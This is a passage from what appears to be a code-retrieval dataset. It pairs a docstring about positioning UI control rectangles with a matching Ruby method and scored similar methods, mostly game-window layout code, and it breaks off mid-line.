"6eaf3bba7e9906f0783c7e7e3b34ec9d", "score": "0.5494458", "text": "def custom_merge(hash1, hash2)\n new_hash = hash1.dup\n hash2.each do |k, v|\n new_hash[k] = v\n end\n new_hash\nend", "title": "" }, { "docid": "ae36dd08fd0d26e0d2aef516ccd22f6b", "score": "0.5477788", "text": "def to_hash\n { name => properties.except(:name) }\n end", "title": "" } ]
66c18dd86074fe21d77de8e7f7ba82be
////////////////////////////////////////////////////////////////////////// Private Methods ////////////////////////////////////////////////////////////////////////// Determine rectangles to positions controls in the user control rect : base rectangle to position the controls spacing : spacing between controls
[ { "docid": "e1a52e1ad727ce81f5adb249f4294c66", "score": "0.6923177", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,48,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cSkillName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cSkillMpCost\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "title": "" } ]
[ { "docid": "84472f17967bcae3a4d7ab17a3d81f3d", "score": "0.6966744", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[2] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n # Rects Adjustments\n \n # ucEncounters\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = rect.width - rects[0][0].width - rects[0][1].width\n \n # ucDefeated\n rects[1][0].y += spacing\n rects[1][1].x += rects[1][0].width\n rects[1][1].y = rects[1][0].y\n rects[1][2].x = rects[1][1].x + rects[1][1].width\n rects[1][2].y = rects[1][0].y\n rects[1][2].width = rect.width - rects[1][0].width - rects[1][1].width\n \n # ucEscaped\n rects[2][0].y += spacing*2\n rects[2][1].x += rects[2][0].width\n rects[2][1].y = rects[2][0].y\n rects[2][2].x = rects[2][1].x + rects[2][1].width\n rects[2][2].y = rects[2][0].y\n rects[2][2].width = rect.width - rects[2][0].width - rects[2][1].width\n \n # ucExp\n rects[3][0].y += spacing*3\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].x = rects[3][1].x + rects[3][1].width\n rects[3][2].y = rects[3][0].y\n rects[3][2].width = rect.width - rects[3][0].width - rects[3][1].width\n \n # ucGold\n rects[4][0].y += spacing*4\n rects[4][1].x += rects[4][0].width\n rects[4][1].y = rects[4][0].y\n rects[4][2].x = rects[4][1].x + rects[4][1].width\n rects[4][2].y = rects[4][0].y\n rects[4][2].width = rect.width - rects[4][0].width - rects[4][1].width\n \n return rects\n end", "title": "" }, { "docid": "e93e7c05d30c43728ea259bb9ecd2d2c", "score": "0.6958287", "text": "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,100,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[3] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[4] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[5] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[6] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[7] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[8] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[9] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucActStates\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*3\n \n # cCharImage\n rects[1].height -= spacing*3\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[3][0].y += spacing\n rects[3][0].width -= rects[3][1].width\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n \n # ucHpStat \n rects[4][0].y += rect.height - spacing*4\n rects[4][1].x += rects[4][0].width\n rects[4][1].y = rects[4][0].y\n rects[4][2].y = rects[4][0].y + spacing\n rects[4][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[5].y = rects[4][0].y+gauge_y\n rects[5].height = rects[4][0].height-gauge_y\n \n # ucMpStat\n rects[6][0].y += rect.height - spacing*2\n rects[6][1].x += rects[6][0].width\n rects[6][1].y = rects[6][0].y\n rects[6][2].y = rects[6][0].y + spacing\n rects[6][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[7].y = rects[6][0].y+gauge_y\n rects[7].height = rects[6][0].height-gauge_y\n \n # ucExpStat\n rects[8][0].y += spacing\n rects[8][1].x += rects[8][0].width\n rects[8][1].y = rects[8][0].y\n rects[8][2].y = rects[8][0].y + spacing\n rects[8][2].width = gauge_value_width\n \n # cExpGauge\n rects[9].y = rects[8][0].y+gauge_y\n rects[9].height = rects[8][0].height-gauge_y\n \n return rects\n end", "title": "" }, { "docid": "6ad1eb0c5fd9d5044336f2c8e34be871", "score": "0.6943458", "text": "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,96,96)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucCharFace\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*2\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[2][0].y += spacing\n rects[2][0].width -= rects[2][1].width\n rects[2][1].x += (rects[2][0].width / 2).floor + rects[2][1].width\n rects[2][1].y = rects[2][0].y\n \n # ucHpStat \n rects[3][0].y += rect.height - spacing*4\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].y = rects[3][0].y + spacing\n rects[3][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[4].y = rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n\n # ucMpStat\n rects[5][0].y += rect.height - spacing*2\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].y = rects[5][0].y + spacing\n rects[5][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[6].y = rects[5][0].y+gauge_y\n rects[6].height = rects[5][0].height-gauge_y\n \n return rects\n end", "title": "" }, { "docid": "6ad1eb0c5fd9d5044336f2c8e34be871", "score": "0.6943458", "text": "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,96,96)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucCharFace\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*2\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[2][0].y += spacing\n rects[2][0].width -= rects[2][1].width\n rects[2][1].x += (rects[2][0].width / 2).floor + rects[2][1].width\n rects[2][1].y = rects[2][0].y\n \n # ucHpStat \n rects[3][0].y += rect.height - spacing*4\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].y = rects[3][0].y + spacing\n rects[3][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[4].y = rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n\n # ucMpStat\n rects[5][0].y += rect.height - spacing*2\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].y = rects[5][0].y + spacing\n rects[5][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[6].y = rects[5][0].y+gauge_y\n rects[6].height = rects[5][0].height-gauge_y\n \n return rects\n end", "title": "" }, { "docid": "38a124b15c8d2a3921433ad25773f17d", "score": "0.6919525", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cItemNumber\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "title": "" }, { "docid": "38a124b15c8d2a3921433ad25773f17d", "score": "0.6919525", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - spacing\n \n # cItemNumber\n rects[2].x += rect.width - rects[2].width\n \n return rects\n end", "title": "" }, { "docid": "bcf5d05958e06329492480ce03c8f89f", "score": "0.6848935", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,64,rect.height)\n rects[3] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[4] = Rect.new(rect.x,rect.y,32,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cItemName\n rects[1].x += rects[0].width\n rects[1].width = rect.width - rects[0].width - rects[2].width - rects[3].width - rects[4].width - (spacing*3)\n \n # cItemPrice\n rects[2].x += rect.width - rects[2].width - rects[3].width - rects[4].width - (spacing*2)\n \n # cItemPossess \n rects[3].x += rect.width - rects[3].width - rects[4].width - spacing\n \n # ucItemNumber\n rects[4].x += rect.width - rects[4].width\n \n return rects\n end", "title": "" }, { "docid": "a5973c873571fd73f8ac6762fdd444d7", "score": "0.6760588", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n value_width = ((rect.width - rects[0][0].width - rects[0][1].width - rects[1][0].width - spacing)/2).floor\n \n # Rects Adjustments\n \n # ucStat\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = value_width\n \n # ucCompareStat\n rects[1][0].x = rects[0][2].x + rects[0][2].width + spacing\n rects[1][1].x = rects[1][0].x + rects[1][0].width\n rects[1][1].width = value_width\n \n return rects\n end", "title": "" }, { "docid": "c2ad559efee44627fa6163243714062f", "score": "0.67522323", "text": "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[4] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[5] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[6] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[7] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[8] = Rect.new(rect.x,rect.y,rect.width,24)\n \n # Rects Adjustments\n \n # ucHpCompareStat\n # Nothing to do\n \n # ucMpCompareStat\n rects[1].y += spacing\n \n # ucAtkCompareStat\n rects[2].y += spacing*2\n \n # ucDefCompareStat\n rects[3].y += spacing*3\n \n # ucSpiCompareStat\n rects[4].y += spacing*4\n \n # ucAgiCompareStat\n rects[5].y += spacing*5\n \n # ucEvaCompareStat\n rects[6].y += spacing*6\n \n # ucHitCompareStat\n rects[7].y += spacing*7\n \n # ucCriCompareStat\n rects[8].y += spacing*8\n \n return rects\n end", "title": "" }, { "docid": "bc0aaadead14f03e5c3a6dbf2966c2d0", "score": "0.6651838", "text": "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,90,24),\n Rect.new(rect.x,rect.y,100,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[2] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[7] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[8] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[9] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[10] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[11] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n gauge_value_width = rect.width - 24 - 25 - right_pad\n stats_value_width = rect.width - 24 - 50 - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucActStates\n rects[0][1].x += rects[0][0].width\n \n # ucHpStat\n rects[1][0].y += spacing\n rects[1][1].x += rects[1][0].width\n rects[1][1].y = rects[1][0].y\n rects[1][2].x = rects[1][1].x + rects[1][1].width\n rects[1][2].y = rects[1][0].y\n rects[1][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[2].y += rects[1][0].y+gauge_y\n rects[2].height = rects[1][0].height-gauge_y\n \n # ucMpStat\n rects[3][0].y += spacing*2\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].x = rects[3][1].x + rects[3][1].width\n rects[3][2].y = rects[3][0].y\n rects[3][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[4].y += rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n \n # ucAtkStat\n rects[5][0].y += spacing*3\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].x = rects[5][1].x + rects[5][1].width\n rects[5][2].y = rects[5][0].y\n rects[5][2].width = stats_value_width\n \n # ucDefStat\n rects[6][0].y += spacing*4\n rects[6][1].x += rects[6][0].width\n rects[6][1].y = rects[6][0].y\n rects[6][2].x = rects[6][1].x + rects[6][1].width\n rects[6][2].y = rects[6][0].y\n rects[6][2].width = stats_value_width\n \n # ucSpiStat\n rects[7][0].y += spacing*5\n rects[7][1].x += rects[7][0].width\n rects[7][1].y = rects[7][0].y\n rects[7][2].x = rects[7][1].x + rects[7][1].width\n rects[7][2].y = rects[7][0].y\n rects[7][2].width = stats_value_width\n \n # ucAgiStat\n rects[8][0].y += spacing*6\n rects[8][1].x += rects[8][0].width\n rects[8][1].y = rects[8][0].y\n rects[8][2].x = rects[8][1].x + rects[8][1].width\n rects[8][2].y = rects[8][0].y\n rects[8][2].width = stats_value_width\n \n # ucEvaStat\n rects[9][0].y += spacing*7\n rects[9][1].x += rects[9][0].width\n rects[9][1].y = rects[9][0].y\n rects[9][2].x = rects[9][1].x + rects[9][1].width\n rects[9][2].y = rects[9][0].y\n rects[9][2].width = stats_value_width\n \n # ucHitStat\n rects[10][0].y += spacing*8\n rects[10][1].x += rects[10][0].width\n rects[10][1].y = rects[10][0].y\n rects[10][2].x = rects[10][1].x + rects[10][1].width\n rects[10][2].y = rects[10][0].y\n rects[10][2].width = stats_value_width\n \n # ucCriStat\n rects[11][0].y += spacing*9\n rects[11][1].x += rects[11][0].width\n rects[11][1].y = rects[11][0].y\n rects[11][2].x = rects[11][1].x + rects[11][1].width\n rects[11][2].y = rects[11][0].y\n rects[11][2].width = stats_value_width\n \n return rects\n end", "title": "" }, { "docid": "7738789f1b1c2b91dd382f0c121dbbf2", "score": "0.6559158", "text": "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,24,rect.height)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n # Rects Adjustments\n \n # ucIcon\n # Nothing to do\n \n # cEquipName\n rects[1].x += rects[0].width\n rects[1].width -= rects[0].width\n \n return rects\n end", "title": "" }, { "docid": "37d66c38e420e56f20c814ab1e894e44", "score": "0.630384", "text": "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,20)\n \n # Rects Adjustments\n \n # cVolumeLabel\n rects[0].width = (rect.width/3).floor\n \n # ucVolumeBar\n rects[1].x += rects[0].width\n rects[1].y += ((rect.height - rects[1].height)/2).floor\n rects[1].width -= rects[0].width\n \n # cMuteLabel\n rects[2].x += rects[0].width\n rects[2].y = rects[1].y\n rects[2].width = rects[1].width\n \n # cVolumeValue\n rects[3].x += rects[0].width\n rects[3].y = rects[1].y\n rects[3].width = rects[1].width\n \n return rects\n end", "title": "" }, { "docid": "37d66c38e420e56f20c814ab1e894e44", "score": "0.6303072", "text": "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,20)\n \n # Rects Adjustments\n \n # cVolumeLabel\n rects[0].width = (rect.width/3).floor\n \n # ucVolumeBar\n rects[1].x += rects[0].width\n rects[1].y += ((rect.height - rects[1].height)/2).floor\n rects[1].width -= rects[0].width\n \n # cMuteLabel\n rects[2].x += rects[0].width\n rects[2].y = rects[1].y\n rects[2].width = rects[1].width\n \n # cVolumeValue\n rects[3].x += rects[0].width\n rects[3].y = rects[1].y\n rects[3].width = rects[1].width\n \n return rects\n end", "title": "" }, { "docid": "59bc1fa4aec97a467649563abea993e6", "score": "0.61581695", "text": "def get_rect_for_client i\n max_width=screen[:width_in_pixels]\n max_height=screen[:height_in_pixels]\n \n cx = max_width * 0.5\n cy = max_height * 0.5\n \n pad_x = 20\n pad_y = 40\n \n yr = 0.5 * (max_height - pad_y - inactive_client_height)\n xr = 0.5 * (max_width - pad_x - inactive_client_width)\n \n position = (get_placement_angle() * i)\n if position >= 360\n i = (position - 360 - get_placement_angle) / get_placement_angle()\n position = (get_placement_angle() + 8) * i\n if position >= 360-8\n i = (position - 360 - 8 - get_placement_angle) / get_placement_angle() \n position = (get_placement_angle() + 16) * i\n end\n end\n \n a = position * (Math::PI / 180.0)\n \n x = cx + xr * Math.cos(a)\n y = cy + yr * Math.sin(a)\n \n x,y = center_on(x,y,inactive_client_width,inactive_client_height)\n \n return x,y,inactive_client_width,inactive_client_height\n end", "title": "" }, { "docid": "39f8756dabf61bc2f49a415189e0126f", "score": "0.60668844", "text": "def item_rect(index)\r\n rect = super\r\n rect.x = index * (item_width + spacing)\r\n rect.y = 0\r\n rect\r\n end", "title": "" }, { "docid": "d84c87378d427612008d057905321976", "score": "0.5985918", "text": "def item_rect(index)\n rect = super\n rect.x = index * (item_width + spacing)\n rect.y = 0\n rect\n end", "title": "" }, { "docid": "3d169c239f29972753956a23c870f8f5", "score": "0.59741443", "text": "def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x = index % 10 * 32 + index % 10 / 5 * 16\n rect.y = index / 10 * WLH\n rect.width = 32\n rect.height = WLH\n return rect\n end", "title": "" }, { "docid": "80a3ae719375d9a83bacaf58ce36b4f9", "score": "0.5808349", "text": "def item_rect(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.width = (contents.width + @spacing) / @column_max - @spacing\n rect.height = (WLH * $game_message.multi_line_choice)\n rect.x = index % @column_max * (rect.width + @spacing)\n rect.y = index / @column_max * (WLH * $game_message.multi_line_choice)\n return rect\n end", "title": "" }, { "docid": "4a0382de1b714f63d93a4a5bff989184", "score": "0.5783215", "text": "def item_rect_for_cursor(index)\n rect = item_rect(index)\n rect.x += 6\n rect.y = 0\n rect.height = fitting_height(0) + 6\n rect.width = 148\n rect\n end", "title": "" }, { "docid": "27cab11e820fb9a2c1b3c54602b06e85", "score": "0.57749015", "text": "def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding) + line_height + standard_padding\n rect\n end", "title": "" }, { "docid": "c7c39e35a7b78316d63f3f874375f1ee", "score": "0.5757529", "text": "def rect; end", "title": "" }, { "docid": "c7c39e35a7b78316d63f3f874375f1ee", "score": "0.5757529", "text": "def rect; end", "title": "" }, { "docid": "b63164a85e1b22607e259bec06b31d70", "score": "0.5755844", "text": "def get_bounding_rectangle\n leftmost_x = @panel.get_width\n rightmost_x = 0\n top_y = @panel.get_height\n bottom_y = 0\n\n @entities.each do |e|\n e_x = e.get_x\n e_y = e.get_y\n\n if e_x < leftmost_x\n leftmost_x = e_x\n end\n\n if e_x + ENTITY_WIDTH > rightmost_x\n rightmost_x = e_x + ENTITY_WIDTH\n end\n\n if e_y < top_y\n top_y = e_y\n end\n\n if e_y + ENTITY_HEIGHT > bottom_y\n bottom_y = e_y + ENTITY_HEIGHT\n end\n\n #if leftmost_x - 17 > 0\n # leftmost_x = leftmost_x -17\n #else\n # leftmost_x = 0\n #end\n\n #if rightmost_x + 17 < @panel.get_width\n # rightmost_x = rightmost_x +17\n #else\n # rightmost_x = @panel.get_width\n #end\n\n #if top_y - 17 > 0\n # top_y = top_y -17\n #else\n # top_y = 0\n #end\n\n #if bottom_y + 17 < @panel.get_height\n # bottom_y = bottom_y + 17\n #else\n # bottom_y = @panel.get_height\n #end\n\n end\n return Rectangle.new leftmost_x, top_y, rightmost_x - leftmost_x, bottom_y - top_y\n end", "title": "" }, { "docid": "01dd56baa9d8c3e4a67625b2959afc1a", "score": "0.57221156", "text": "def command_rect(index = 0)\n r_width = contents_width / columns\n r_height = contents_height\n x = r_width * index\n y = 0\n Rect.new(x, y, r_width, r_height)\n end", "title": "" }, { "docid": "96f6b3100a3b5c28370e78287e4a26f7", "score": "0.57125944", "text": "def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding)\n rect\n end", "title": "" }, { "docid": "2d9d920249eb65b39520ffc1a5839e4a", "score": "0.5708672", "text": "def bounds\n bounds_dependencies = [absolute_x, absolute_y, calculated_width, calculated_height]\n if bounds_dependencies != @bounds_dependencies\n # avoid repeating calculations\n absolute_x, absolute_y, calculated_width, calculated_height = @bounds_dependencies = bounds_dependencies\n @bounds = org.eclipse.swt.graphics.Rectangle.new(absolute_x, absolute_y, calculated_width, calculated_height)\n end\n @bounds\n end", "title": "" }, { "docid": "0f3d0f58914992a696a3fdc82f021942", "score": "0.56835175", "text": "def plot_boundaries(xs,ys,margin)\n xmin = xs.min\n xmax = xs.max\n ymin = ys.min\n ymax = ys.max\n\n width = (xmax == xmin) ? 1 : xmax - xmin\n height = (ymax == ymin) ? 1 : ymax - ymin\n\n left_boundary = xmin - margin * width\n right_boundary = xmax + margin * width\n\n top_boundary = ymax + margin * height\n bottom_boundary = ymin - margin * height\n\n return [ left_boundary, right_boundary, top_boundary, bottom_boundary ]\n end", "title": "" }, { "docid": "0f3d0f58914992a696a3fdc82f021942", "score": "0.56835175", "text": "def plot_boundaries(xs,ys,margin)\n xmin = xs.min\n xmax = xs.max\n ymin = ys.min\n ymax = ys.max\n\n width = (xmax == xmin) ? 1 : xmax - xmin\n height = (ymax == ymin) ? 1 : ymax - ymin\n\n left_boundary = xmin - margin * width\n right_boundary = xmax + margin * width\n\n top_boundary = ymax + margin * height\n bottom_boundary = ymin - margin * height\n\n return [ left_boundary, right_boundary, top_boundary, bottom_boundary ]\n end", "title": "" }, { "docid": "c734d357ea09e6a9f970c749ab1fde2f", "score": "0.5670837", "text": "def item_rect(index)\n index -= 1 if index == @max_char\n x = index % max_col\n y = index / max_col\n n = [(@max_char - y * max_col), max_col].min\n \n x = left(n) + x * char_width\n x = width - x - 48 if not @ltr\n y = 24 + y * (line_height + 4)\n Rect.new(x, y, char_width, line_height)\n end", "title": "" }, { "docid": "e7ed27cbeb5e1877a9fd403b17c3482d", "score": "0.56564033", "text": "def item_rect(index)\n rect = Rect.new\n rect.width = item_width\n rect.height = item_height\n rect.x = index % col_max * (item_width + spacing)\n rect.y = line_height + (index / col_max * item_height)\n rect\n end", "title": "" }, { "docid": "0f6ce1b06c9ddabf7122b431ea493ca9", "score": "0.56388724", "text": "def item_rect(index)\n rect = Rect.new\n rect.width = item_width\n rect.height = item_height\n rect.x = item_position(index).at(0)\n rect.y = item_position(index).at(1)\n rect\n end", "title": "" }, { "docid": "6f3563ab0bee04660883b218f37677f9", "score": "0.56357294", "text": "def update_bounds(xs, ys)\n x_min = xs.min\n x_max = xs.max\n y_min = ys.min\n y_max = ys.max\n @left = x_min unless @left && x_min > @left\n @top = y_min unless @top && y_min > @top\n @right = x_max unless @right && x_max < @right\n @bottom = y_max unless @bottom && y_max < @bottom\n nil\n end", "title": "" }, { "docid": "8ab09f0294b34f41b410167303cac80a", "score": "0.5623787", "text": "def item_rect(*args, &block)\n rect = super(*args, &block)\n rect.y += [(rect.height - 98) / 2, 0].max\n rect.height = 98\n rect\n end", "title": "" }, { "docid": "8db6470936eb65ed8d38db62e763bc6e", "score": "0.56058043", "text": "def rect_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 17.5, \"Click inside the red box below.\") # label with instructions\n red_box = [460, 250, 355, 90, 170, 0, 0] # definition of the red box\n outputs.borders << red_box # output as a border (not filled in)\n\n # If the mouse is clicked inside the red box, two collision boxes are created.\n if inputs.mouse.click\n if inputs.mouse.click.point.inside_rect? red_box\n if !state.box_collision_one # if the collision_one box does not yet have a definition\n # Subtracts 25 from the x and y positions of the click point in order to make the click point the center of the box.\n # You can try deleting the subtraction to see how it impacts the box placement.\n state.box_collision_one = [inputs.mouse.click.point.x - 25, inputs.mouse.click.point.y - 25, 50, 50, 180, 0, 0, 180] # sets definition\n elsif !state.box_collision_two # if collision_two does not yet have a definition\n state.box_collision_two = [inputs.mouse.click.point.x - 25, inputs.mouse.click.point.y - 25, 50, 50, 0, 0, 180, 180] # sets definition\n else\n state.box_collision_one = nil # both boxes are empty\n state.box_collision_two = nil\n end\n end\n end\n\n # If collision boxes exist, they are output onto screen inside the red box as solids\n if state.box_collision_one\n outputs.solids << state.box_collision_one\n end\n\n if state.box_collision_two\n outputs.solids << state.box_collision_two\n end\n\n # Outputs whether or not the two collision boxes intersect.\n if state.box_collision_one && 